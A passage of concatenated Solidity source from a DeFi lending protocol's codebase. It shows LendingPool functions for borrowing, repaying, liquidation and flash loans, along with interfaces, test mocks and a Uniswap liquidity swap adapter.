_addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, interestRateMode, reserve.aTokenAddress, referralCode, true ) ); } /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt ); uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); } address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0); if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); IAToken(aToken).handleRepayment(msg.sender, paybackAmount); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateSwapRateMode( reserve, _usersConfig[msg.sender], stableDebt, variableDebt, interestRateMode ); reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt); IVariableDebtToken(reserve.variableDebtTokenAddress).mint( msg.sender, msg.sender, stableDebt, reserve.variableBorrowIndex ); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( msg.sender, variableDebt, reserve.variableBorrowIndex ); IStableDebtToken(reserve.stableDebtTokenAddress).mint( msg.sender, msg.sender, variableDebt, reserve.currentStableBorrowRate ); } reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0); emit Swap(asset, msg.sender, rateMode); } /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress); IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress); address aTokenAddress = reserve.aTokenAddress; uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user); ValidationLogic.validateRebalanceStableBorrowRate( reserve, asset, stableDebtToken, variableDebtToken, aTokenAddress ); reserve.updateState(); IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt); IStableDebtToken(address(stableDebtToken)).mint( user, user, stableDebt, reserve.currentStableBorrowRate ); reserve.updateInterestRates(asset, aTokenAddress, 0, 0); emit RebalanceStableBorrowRate(asset, user); } /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); } else { emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override whenNotPaused { address collateralManager = _addressesProvider.getLendingPoolCollateralManager(); //solium-disable-next-line (bool success, bytes memory result) = collateralManager.delegatecall( abi.encodeWithSignature( 'liquidationCall(address,address,address,uint256,bool)', collateralAsset, debtAsset, user, debtToCover, receiveAToken ) ); require(success, Errors.LP_LIQUIDATION_CALL_FAILED); (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string)); require(returnCode == 0, string(abi.encodePacked(returnMessage))); } struct FlashLoanLocalVars { IFlashLoanReceiver receiver; address oracle; uint256 i; address currentAsset; address currentATokenAddress; uint256 currentAmount; uint256 currentPremium; uint256 currentAmountPlusPremium; address debtToken; } /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external override whenNotPaused { FlashLoanLocalVars memory vars; ValidationLogic.validateFlashloan(assets, amounts); address[] memory aTokenAddresses = new address[](assets.length); uint256[] memory premiums = new uint256[](assets.length); vars.receiver = IFlashLoanReceiver(receiverAddress); for (vars.i = 0; vars.i < assets.length; vars.i++) { aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress; premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000); IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]); } require( vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params), Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN ); for (vars.i = 0; vars.i < assets.length; vars.i++) { vars.currentAsset = assets[vars.i]; vars.currentAmount = amounts[vars.i]; vars.currentPremium = premiums[vars.i]; vars.currentATokenAddress = aTokenAddresses[vars.i]; vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium); if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) { _reserves[vars.currentAsset].updateState(); _reserves[vars.currentAsset].cumulateToLiquidityIndex( IERC20(vars.currentATokenAddress).totalSupply(), vars.currentPremium ); _reserves[vars.currentAsset].updateInterestRates( vars.currentAsset, vars.currentATokenAddress, vars.currentAmountPlusPremium, 0 ); IERC20(vars.currentAsset).safeTransferFrom( receiverAddress, vars.currentATokenAddress, vars.currentAmountPlusPremium ); } else { // If the user chose to not return the funds, the system checks if there is enough collateral and // eventually opens a debt position _executeBorrow( ExecuteBorrowParams( vars.currentAsset, msg.sender, onBehalfOf, vars.currentAmount, modes[vars.i], vars.currentATokenAddress, referralCode, false ) ); } emit FlashLoan( receiverAddress, msg.sender, vars.currentAsset, vars.currentAmount, vars.currentPremium, referralCode ); } } /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view override returns (DataTypes.ReserveData memory) { return _reserves[asset]; } /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view override returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { ( totalCollateralETH, totalDebtETH, ltv, currentLiquidationThreshold, healthFactor ) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH( totalCollateralETH, totalDebtETH, ltv ); } /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view override returns (DataTypes.ReserveConfigurationMap memory) { return _reserves[asset].configuration; } /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view override returns (DataTypes.UserConfigurationMap memory) { return _usersConfig[user]; } /** * @dev Returns the normalized income per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view virtual override returns (uint256) { return _reserves[asset].getNormalizedIncome(); } /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view override returns (uint256) { return _reserves[asset].getNormalizedDebt(); } /** * @dev Returns if the LendingPool is paused */ function paused() external view override returns (bool) { return _paused; } /** * @dev Returns the list of the initialized reserves **/ function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } /** * @dev Returns the cached LendingPoolAddressesProvider connected to this contract **/ function getAddressesProvider() external view override returns (ILendingPoolAddressesProvider) { return _addressesProvider; } /** * @dev Returns the percentage of available liquidity that can be borrowed at once at stable rate */ function MAX_STABLE_RATE_BORROW_SIZE_PERCENT() public view returns (uint256) { return _maxStableRateBorrowSizePercent; } /** * @dev Returns the fee on flash loans */ function FLASHLOAN_PREMIUM_TOTAL() public view returns (uint256) { return _flashLoanPremiumTotal; } /** * @dev Returns the maximum number of reserves supported to be listed in this LendingPool */ function MAX_NUMBER_RESERVES() public view returns (uint256) { return _maxNumberOfReserves; } /** * @dev Validates and finalizes an aToken transfer * - Only callable by the overlying aToken of the `asset` * @param asset The address of the underlying asset of the aToken * @param from The user from which the aTokens are transferred * @param to The user receiving the aTokens * @param amount The amount being transferred/withdrawn * @param balanceFromBefore The aToken balance of the `from` user before the transfer * @param balanceToBefore The aToken balance of the `to` user before the transfer */ function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require(msg.sender == _reserves[asset].aTokenAddress, Errors.LP_CALLER_MUST_BE_AN_ATOKEN); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } /** * @dev Initializes a reserve, activating it, assigning an aToken and debt tokens and an * interest rate strategy * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param aTokenAddress The address of the aToken that will be assigned to the reserve * @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve * @param aTokenAddress The address of the VariableDebtToken that will be assigned to the reserve * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function initReserve( address asset, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external override onlyLendingPoolConfigurator { require(Address.isContract(asset), Errors.LP_NOT_CONTRACT); _reserves[asset].init( aTokenAddress, stableDebtAddress, variableDebtAddress, interestRateStrategyAddress ); _addReserveToList(asset); } /** * @dev Updates the address of the interest rate strategy contract * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The address of the interest rate strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external override onlyLendingPoolConfigurator { _reserves[asset].interestRateStrategyAddress = rateStrategyAddress; } /** * @dev Sets the configuration bitmap of the reserve as a whole * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param configuration The new configuration bitmap **/ function setConfiguration(address asset, uint256 configuration) external override onlyLendingPoolConfigurator { _reserves[asset].configuration.data = configuration; } /** * @dev Set the _pause state of a reserve * - Only callable by the LendingPoolConfigurator contract * @param val `true` to pause the reserve, `false` to un-pause it */ function setPause(bool val) external override onlyLendingPoolConfigurator { _paused = val; if (_paused) { emit Paused(); } else { emit Unpaused(); } } struct ExecuteBorrowParams { address asset; address user; address onBehalfOf; uint256 amount; uint256 interestRateMode; address aTokenAddress; uint16 referralCode; bool releaseUnderlying; } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div( 10**reserve.configuration.getDecimals() ); ValidationLogic.validateBorrow( vars.asset, reserve, vars.onBehalfOf, vars.amount, amountInETH, vars.interestRateMode, _maxStableRateBorrowSizePercent, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); uint256 currentStableRate = 0; bool isFirstBorrowing = false; if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) { currentStableRate = reserve.currentStableBorrowRate; isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, currentStableRate ); } else { isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); } if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.aTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, vars.interestRateMode, DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE ? currentStableRate : reserve.currentVariableBorrowRate, vars.referralCode ); } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require(reservesCount < _maxNumberOfReserves, Errors.LP_NO_MORE_RESERVES_ALLOWED); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IExchangeAdapter { event Exchange( address indexed from, address indexed to, address indexed platform, uint256 fromAmount, uint256 toAmount ); function approveExchange(IERC20[] calldata tokens) external; function exchange( address from, address to, uint256 amount, uint256 maxSlippage ) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableDelegationERC20 is ERC20 { address public delegatee; constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokensp * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(msg.sender, value); return true; } function delegate(address delegateeAddress) external { delegatee = delegateeAddress; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; contract MockUniswapV2Router02 is IUniswapV2Router02 { mapping(address => uint256) internal _amountToReturn; mapping(address => uint256) internal _amountToSwap; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsIn; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsOut; uint256 internal defaultMockValue; function setAmountToReturn(address reserve, uint256 amount) public { _amountToReturn[reserve] = amount; } function setAmountToSwap(address reserve, uint256 amount) public { _amountToSwap[reserve] = amount; } function swapExactTokensForTokens( uint256 amountIn, uint256, /* amountOutMin */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), amountIn); MintableERC20(path[1]).mint(_amountToReturn[path[0]]); IERC20(path[1]).transfer(to, _amountToReturn[path[0]]); amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountToReturn[path[0]]; } function swapTokensForExactTokens( uint256 amountOut, uint256, /* amountInMax */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), _amountToSwap[path[0]]); MintableERC20(path[1]).mint(amountOut); IERC20(path[1]).transfer(to, amountOut); amounts = new uint256[](path.length); amounts[0] = _amountToSwap[path[0]]; amounts[1] = amountOut; } function setAmountOut( uint256 amountIn, address reserveIn, address reserveOut, uint256 amountOut ) public { _amountsOut[reserveIn][reserveOut][amountIn] = amountOut; } function setAmountIn( uint256 amountOut, address reserveIn, address reserveOut, uint256 amountIn ) public { _amountsIn[reserveIn][reserveOut][amountOut] = amountIn; } function setDefaultMockValue(uint256 value) public { defaultMockValue = value; } function getAmountsOut(uint256 amountIn, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountsOut[path[0]][path[1]][amountIn] > 0 ? _amountsOut[path[0]][path[1]][amountIn] : defaultMockValue; return amounts; } function getAmountsIn(uint256 amountOut, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = _amountsIn[path[0]][path[1]][amountOut] > 0 ? _amountsIn[path[0]][path[1]][amountOut] : defaultMockValue; amounts[1] = amountOut; return amounts; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract UniswapLiquiditySwapAdapter is BaseUniswapAdapter { struct PermitParams { uint256[] amount; uint256[] deadline; uint8[] v; bytes32[] r; bytes32[] s; } struct SwapParams { address[] assetToSwapToList; uint256[] minAmountsToReceive; bool[] swapAllBalance; PermitParams permitParams; bool[] useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Swaps the received reserve amount from the flash loan into the asset specified in the params. * The received funds from the swap are then deposited into the protocol on behalf of the user. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * repay the flash loan. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); SwapParams memory decodedParams = _decodeParams(params); require( assets.length == decodedParams.assetToSwapToList.length && assets.length == decodedParams.minAmountsToReceive.length && assets.length == decodedParams.swapAllBalance.length && assets.length == decodedParams.permitParams.amount.length && assets.length == decodedParams.permitParams.deadline.length && assets.length == decodedParams.permitParams.v.length && assets.length == decodedParams.permitParams.r.length && assets.length == decodedParams.permitParams.s.length && assets.length == decodedParams.useEthPath.length, 'INCONSISTENT_PARAMS' ); for (uint256 i = 0; i < assets.length; i++) { _swapLiquidity( assets[i], decodedParams.assetToSwapToList[i], amounts[i], premiums[i], initiator, decodedParams.minAmountsToReceive[i], decodedParams.swapAllBalance[i], PermitSignature( decodedParams.permitParams.amount[i], decodedParams.permitParams.deadline[i], decodedParams.permitParams.v[i], decodedParams.permitParams.r[i], decodedParams.permitParams.s[i] ), decodedParams.useEthPath[i] ); } return true; } struct SwapAndDepositLocalVars { uint256 i; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; address aToken; } /** * @dev Swaps an amount of an asset to another and deposits the new asset amount on behalf of the user without using * a flash loan. This method can be used when the temporary transfer of the collateral asset to this contract * does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * perform the swap. * @param assetToSwapFromList List of addresses of the underlying asset to be swap from * @param assetToSwapToList List of addresses of the underlying asset to be swap to and deposited * @param amountToSwapList List of amounts to be swapped. If the amount exceeds the balance, the total balance is used for the swap * @param minAmountsToReceive List of min amounts to be received from the swap * @param permitParams List of struct containing the permit signatures * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v param for the permit signature * bytes32 r param for the permit signature * bytes32 s param for the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ function swapAndDeposit( address[] calldata assetToSwapFromList, address[] calldata assetToSwapToList, uint256[] calldata amountToSwapList, uint256[] calldata minAmountsToReceive, PermitSignature[] calldata permitParams, bool[] calldata useEthPath ) external { require( assetToSwapFromList.length == assetToSwapToList.length && assetToSwapFromList.length == amountToSwapList.length && assetToSwapFromList.length == minAmountsToReceive.length && assetToSwapFromList.length == permitParams.length, 'INCONSISTENT_PARAMS' ); SwapAndDepositLocalVars memory vars; for (vars.i = 0; vars.i < assetToSwapFromList.length; vars.i++) { vars.aToken = _getReserveData(assetToSwapFromList[vars.i]).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(msg.sender); vars.amountToSwap = amountToSwapList[vars.i] > vars.aTokenInitiatorBalance ? vars.aTokenInitiatorBalance : amountToSwapList[vars.i]; _pullAToken( assetToSwapFromList[vars.i], vars.aToken, msg.sender, vars.amountToSwap, permitParams[vars.i] ); vars.receivedAmount = _swapExactTokensForTokens( assetToSwapFromList[vars.i], assetToSwapToList[vars.i], vars.amountToSwap, minAmountsToReceive[vars.i], useEthPath[vars.i] ); // Deposit new reserve IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), 0); IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetToSwapToList[vars.i], vars.receivedAmount, msg.sender, 0); } } /** * @dev Swaps an `amountToSwap` of an asset to another and deposits the funds on behalf of the initiator. * @param assetFrom Address of the underlying asset to be swap from * @param assetTo Address of the underlying asset to be swap to and deposited * @param amount Amount from flash loan * @param premium Premium of the flash loan * @param minAmountToReceive Min amount to be received from the swap * @param swapAllBalance Flag indicating if all the user balance should be swapped * @param permitSignature List of struct containing the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ struct SwapLiquidityLocalVars { address aToken; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; uint256 flashLoanDebt; uint256 amountToPull; } function _swapLiquidity( address assetFrom, address assetTo, uint256 amount, uint256 premium, address initiator, uint256 minAmountToReceive, bool swapAllBalance, PermitSignature memory permitSignature, bool useEthPath ) internal { SwapLiquidityLocalVars memory vars; vars.aToken = _getReserveData(assetFrom).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(initiator); vars.amountToSwap = swapAllBalance && vars.aTokenInitiatorBalance.sub(premium) <= amount ? vars.aTokenInitiatorBalance.sub(premium) : amount; vars.receivedAmount = _swapExactTokensForTokens( assetFrom, assetTo, vars.amountToSwap, minAmountToReceive, useEthPath ); // Deposit new reserve IERC20(assetTo).safeApprove(address(LENDING_POOL), 0); IERC20(assetTo).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetTo, vars.receivedAmount, initiator, 0); vars.flashLoanDebt = amount.add(premium); 